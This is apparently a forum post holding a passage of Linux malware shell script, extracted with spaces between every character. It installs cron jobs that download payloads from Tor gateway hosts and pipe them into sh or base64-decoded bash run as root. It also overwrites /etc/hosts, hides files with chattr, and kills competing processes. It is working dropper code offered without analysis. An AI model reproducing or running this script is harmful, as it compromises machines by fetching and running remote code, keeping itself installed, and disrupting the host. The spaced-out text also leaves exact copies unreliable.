b i n / . $ { r a n d } "   > / d e v / n u l l   2 > & 1 e c h o   " $ { r a n d } "   >   " $ { H O M E } / . $ { r a n d } "   2 > / d e v / n u l l   & &   L P A T H = " $ { H O M E } / . c a c h e / " ;   $ { r m }   - f   " $ { H O M E } / . $ { r a n d } "   > / d e v / n u l l   2 > & 1 m k d i r   - p   $ { L P A T H }   > / d e v / n u l l   2 > & 1 $ { s u d o }   c h a t t r   - i   $ { L P A T H }   > / d e v / n u l l   2 > & 1 ;   c h m o d   1 7 5 5   $ { L P A T H }   > / d e v / n u l l   2 > & 1 i f   [   " $ ( w h o a m i ) "   ! =   " r o o t "   ] ;   t h e n       s s h d i r = " $ { H O M E } / . s s h " ;   e l s e       s s h d i r = ' / r o o t / . s s h ' ;   f i C 1 = ' * / 4   *   *   *   *       R = $ ( s h u f   - i   1 - 2 9   - n   1 ) ;     s l e e p   $ { R : - 0 } ;     B P = $ ( d i r n a m e   " $ ( c o m m a n d   - v   y e s ) " ) ;     B P = $ { B P : - " / u s r / b i n " } ;     G 1 = " c u r l " ;     i f   [   $ ( c u r l   - - v e r s i o n   2 > / d e v / n u l l | g r e p   " c u r l   " | w c   - l )   - e q   0   ] ; t h e n           G 1 = " e c h o " ;         f o r   f   i n   $ { B P } / * ;         d o               s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q   " C U R L O P T _ V E R B O S E "   & &   G 1 = " $ f "   & &   b r e a k ;         d o n e ;     f i ;     G 2 = " w g e t " ;     i f   [   $ ( w g e t   - - v e r s i o n   2 > / d e v / n u l l | g r e p   " w g e t r c   " | w c   - l )   - e q   0   ] ; t h e n           G 2 = " e c h o " ;         f o r   f   i n   $ { B P } / * ;         d o  
        d o               s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q   " t o   < b u g - w g e t @ g n u . o r g > "   & &   G 2 = " $ f "   & &   b r e a k ;         d o n e ;     f i ;     i f   [   $ ( c a t   / e t c / h o s t s | g r e p   - i   " o n i o n . | t i m e s y n c . s u | t o r 2 w e b " | w c   - l )   - n e   0   ] ; t h e n           e c h o   " 1 2 7 . 0 . 0 . 1   l o c a l h o s t "   >   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;     f i ;       C = "   - f s S L k   - - c o n n e c t - t i m e o u t   2 6   - - m a x - t i m e   7 5   " ;     W = "   - - q u i e t   - - t r i e s = 1   - - n o - c h e c k - c e r t i f i c a t e   - - c o n n e c t - t i m e o u t = 2 6   - - t i m e o u t = 7 5   " ;     H = " h t t p s : / / a n 7 k m d 2 w p 4 x o 7 h p r " ;     T 1 = " . t o r 2 w e b . s u / " ;     T 2 = " . d 2 w e b . o r g / " ;     T 3 = " . o n i o n . s h / " ;     P = " s r c / l d m " ;     ( $ G 1   $ C   $ H $ T 1 $ P | | $ G 1   $ C   $ H $ T 2 $ P | | $ G 1   $ C   $ H $ T 3 $ P | | $ G 2   $ W   $ H $ T 1 $ P | | $ G 2   $ W   $ H $ T 2 $ P | | $ G 2   $ W   $ H $ T 3 $ P ) | s h   & ' C 2 = ' * / 7   *   *   *   *   r o o t       R = $ ( s h u f   - i   1 - 2 9   - n   1 ) ;     s l e e p   $ { R : - 0 } ;     B P = $ ( d i r n a m e   " $ ( c o m m a n d   - v   y e s ) " ) ;     B P = $ { B P : - " / u s r / b i n " } ; G 1 = " c u r l " ;     i f   [   $ ( c u r l   - - v e r s i o n   2 > / d e v / n u l l | g r e p   " c u r l   " | w c   - l )   - e q   0   ] ; t h e n           G 1 = " e c h o " ; f o r   f   i n   $ { B P } / * ;         d o               s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q   " C U R L O P T _ V E R B O S E "   & &   G 1 = " $ f "   & &   b r e a k ;         d o n e ;     f i ;     G 2 = " w g e t " ;     i f   [   $ ( w g e t   - - v e r s i o n   2 > / d e v / n u l l | g r e p   " w g e t r c   " | w c   - l )   - e q   0   ] ; t h e n           G 2 = " e c h o " ;         f o r   f   i n   $ { B P } / * ;         d o               s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q   " t o   < b u g - w g e t @ g n u . o r g > "   & &   G 2 = " $ f "   & &   b r e a k ;         d o n e ;     f i ;     i f   [   $ ( c a t   / e t c / h o s t s | g r e p   - i   " o n i o n . | t i m e s y n c . s u | t o r 2 w e b " | w c   - l )   - n e   0   ] ; t h e n           e c h o   " 1 2 7 . 0 . 0 . 1   l o c a l h o s t "   >   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;     f i ;       C = "   - f s S L k   - - c o n n e c t - t i m e o u t   2 6   - - m a x - t i m e   7 5   " ;     W = "   - - q u i e t   - - t r i e s = 1   - - n o - c h e c k - c e r t i f i c a t e   - - c o n n e c t - t i m e o u t = 2 6   - - t i m e o u t = 7 5   " ;     H = " h t t p s : / / a n 7 k m d 2 w p 4 x o 7 h p r " ;     T 1 = " . t o r 2 w e b . s u / " ;     T 2 = " . d 2 w e b . o r g / " ;     T 3 = " . o n i o n . s h / " ;     P = " s r c / l d m " ;     ( $ G 1   $ C   $ H $ T 1 $ P | | $ G 1   $ C   $ H $ T 2 $ P | | $ G 1   $ C   $ H $ T 3 $ P | | $ G 2   $ W   $ H $ T 1 $ P | | $ G 2   $ W   $ H $ T 2 $ P | | $ G 2   $ W   $ H $ T 3 $ P ) | s h   & ' C 3 = ' * / 7   *   *   *   *   r o o t       R = $ ( s h u f   - i   1 - 2 9   - n   1 ) ;     s l e e p   $ { R : - 0 } ;     B P = $ ( d i r n a m e   " $ ( c o m m a n d   - v   y e s ) " ) ;     B P = $ { B P : - " / u s r / b i n " } ; G 1 = " c u r l " ;     i f   [   $ ( c u r l   - - v e r s i o n   2 > / d e v / n u l l | g r e p   " c u r l   " | w c   - l )   - e q   0   ] ; t h e n           G 1 = " e c h o " ;         f o r   f   i n   $ { B P } / * ;         d o               s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q   " C U R L O P T _ V E R B O S E "   & &   G 1 = " $ f "   & &   b r e a k ;         d o n e ;     f i ;     G 2 = " w g e t " ;     i f   [   $ ( w g e t   - - v e r s i o n   2 > / d e v / n u l l | g r e p   " w g e t r c   " | w c   - l )   - e q   0   ] ; t h e n           G 2 = " e c h o " ;         f o r   f   i n   $ { B P } / * ;         d o               s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q   " t o   < b u g - w g e t @ g n u . o r g > "   & &   G 2 = " $ f "   & &   b r e a k ;         d o n e ;     f i ;     i f   [   $ ( c a t   / e t c / h o s t s | g r e p   - i   " o n i o n . | t i m e s y n c . s u | t o r 2 w e b " | w c   - l )   - n e   0   ] ; t h e n           e c h o   " 1 2 7 . 0 . 0 . 1   l o c a l h o s t "   >   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;     f i ;       C = "   - f s S L k   - - c o n n e c t - t i m e o u t   2 6   - - m a x - t i m e   7 5   " ;     W = "   - - q u i e t   - - t r i e s = 1   - - n o - c h e c k - c e r t i f i c a t e   - - c o n n e c t - t i m e o u t = 2 6   - - t i m e o u t = 7 5   " ;     H = " h t t p s : / / a n 7 k m d 2 w p 4 x o 7 h p r " ;     T 1 = " . t o r 2 w e b . s u / " ;     T 2 = " . d 2 w e b . o r g / " ;     T 3 = " . o n i o n . s h / " ;     P = " s r c / l d m " ;     ( $ G 1   $ C   $ H $ T 1 $ P | | $ G 1   $ C   $ H $ T 2 $ P | | $ G 1   $ C   $ H $ T 3 $ P | | $ G 2   $ W   $ H $ T 1 $ P | | $ G 2   $ W   $ H $ T 2 $ P | | $ G 2   $ W   $ H $ T 3 $ P ) | s h   & ' i f   [   - f   / u s r / b i n / y u m   ] ;   t h e n         I N S T A L L E R = " y u m   r e i n s t a l l   - y   - q   - e   0   " e l i f   [   - f   / u s r / b i n / a p t - g e t   ] ;   t h e n         I N S T A L L E R = " D E B I A N _ F R O N T E N D = n o n i n t e r a c t i v e   $ { s u d o }   a p t - g e t   - - y e s   - - f o r c e - y e s   i n s t a l l   - - r e i n s t a l l   " e l i f   [   - f   / u s r / b i n / p a c m a n   ] ;   t h e n
e l i f   [   - f   / u s r / b i n / p a c m a n   ] ;   t h e n         I N S T A L L E R = " p a c m a n   - S   - - n o c o n f i r m   " e l i f   [   - f   / s b i n / a p k   ] ;   t h e n         I N S T A L L E R = " a p k   - - n o - c a c h e   - f   a d d   " f i N T O K = $ ( n e t s t a t   - - v e r s i o n   2 > / d e v / n u l l | w c   - l ) i f   [   $ { N T O K }   - e q   0   ] ;   t h e n       N E T T O O L = ' s s   ' ;       $ { s u d o }   $ { I N S T A L L E R }   n e t - t o o l s   > / d e v / n u l l   2 > & 1 ;   e l s e       N E T T O O L = ' n e t s t a t   ' ;   f i i f   [   !   - f   " $ { L P A T H } . a "   ] ;   t h e n         a   > / d e v / n u l l   2 > & 1   & f i U D = $ ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } s r c / u d | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } s r c / u d | |     $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } s r c / u d | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 1 } s r c / u d | |     $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 2 } s r c / u d | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 3 } s r c / u d ) $ { r m }   - f   . / u d   . / u d . *   > / d e v / n u l l   2 > & 1 w d o g 0 = $ ( p s   a u x | g r e p   - v   ' g r e p ' | g r e p   - v   d e f u n c t | g r e p   - v   ' s h   ' | g r e p   '   s l e e p   3 0 ' | w c   - l ) i f   [   $ { U D : - 0 }   - g t   0   ]   & &   [   $ { w d o g 0 }   - g t   0   ]   & &   [   !   - f   " $ { L P A T H } . m u d "   ] ;   t h e n         i f   [   $ { U D : - 0 }   - g t   2   ] ;   t h e n           $ { s u d o }   p s   a x | g r e p   - v   g r e p | g r e p   - v i   d e f u n c t | g r e p   " $ { g r e p m n } " |         w h i l e   r e a d   p i d   _ ;           d o               [   $ { p i d }   - g t   3 0 1   ]   & &   ( $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ; ) ;           d o n e ;       f i         $ { s u d o }   p s   - e o   p p i d , c m d | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   ' s h   ' | g r e p   - i   ' s l e e p   3 0 ' | a w k   ' { p r i n t   $ 1 } ' |     w h i l e   r e a d   p i d   _ ;       d o           [   $ { p i d }   - g t   3 0 1   ]   & &   ( $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ; ) ;       d o n e         $ { s u d o }   p s   a u x | g r e p   - v   ' g r e p ' | g r e p   - v   d e f u n c t | g r e p   - v   ' s h   ' | g r e p   '   s l e e p   3 0 ' | a w k   ' { p r i n t   $ 2 } ' |         w h i l e   r e a d   p i d   _ ;           d o               [   $ { p i d }   - g t   3 0 1   ]   & &   ( $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ; ) ;           d o n e         $ { s u d o }   p s   - e o   p p i d , c m d | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   ' s h   ' | g r e p   - i   ' t i m e o u t   5 0 0   t a i l ' | a w k   ' { p r i n t   $ 1 } ' |         w h i l e   r e a d   p i d   _ ;           d o               [   $ { p i d }   - g t   3 0 1   ]   & &   ( $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ; ) ;           d o n e         $ { s u d o }   p s   a u x | g r e p   - v   ' g r e p ' | g r e p   - v   d e f u n c t | g r e p   - v   ' s h   ' | g r e p   ' t a i l   - f   / d e v / n u l l ' | a w k   ' { p r i n t   $ 2 } ' |         w h i l e   r e a d   p i d   _ ;           d o               [   $ { p i d }   - g t   3 0 1   ]   & &   ( $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ; ) ;           d o n e         ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } s r c / m a i n | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } s r c / m a i n | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } s r c / m a i n | |         $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 1 } s r c / m a i n | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 2 } s r c / m a i n | |         $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 3 } s r c / m a i n ) | b a s e 6 4   - d   | $ { s u d o }   $ ( c o m m a n d   - v   b a s h )   &         $ { s u d o }   t o u c h   " $ { L P A T H } . m u d "         e x i t   0 f i s e l f = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " | w c   - l ) i f   [   $ { s e l f }   - g t   1   ] ;   t h e n         $ { s u d o }   p s   a x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " | a w k   ' N R   > =   2 ' |       w h i l e   r e a d   p i d   _ ;       d o           $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ;       d o n e f i s e l f p = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " | h e a d   - n   1 | a w k   ' { i f ( $ 3 < = 3 4 . 0 )   p r i n t   $ 2 } ' ) t = $ ( s h u f   - i   1 - 9 9   - n   1 ) i f   [   $ { s e l f p : - 0 }   - g t   3 0 1   ]   & &   [   $ t   - l t   2 1   ] ;   t h e n         $ { s u d o }   p s   a x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " |       w h i l e   r e a d   p i d   _ ;       d o           $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ;       d o n e f i b   > / d e v / n u l l   2 > & 1   & i f   [ [   $ { s u d o e r }   = =   1   ] ] ;   t h e n         c   > / d e v / n u l l   2 > & 1   & f i p o r t = $ ( $ { s u d o }   $ { N E T T O O L }   - a n   2 > / d e v / n u l l |   g r e p   : 4 4 3   |   w c   - l ) s e l f = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " | w c   - l ) s e l f p = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { g r e p m n } " | h e a d   - n   1 | a w k   ' { p r i n t   $ 3 } ' ) w d o g = 1 i f   [ [   $ { s e l f }   - e q   0   ] ]   | |   [ [   $ { p o r t }   - e q   0   ] ] ;   t h e n         w d o g = 0
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则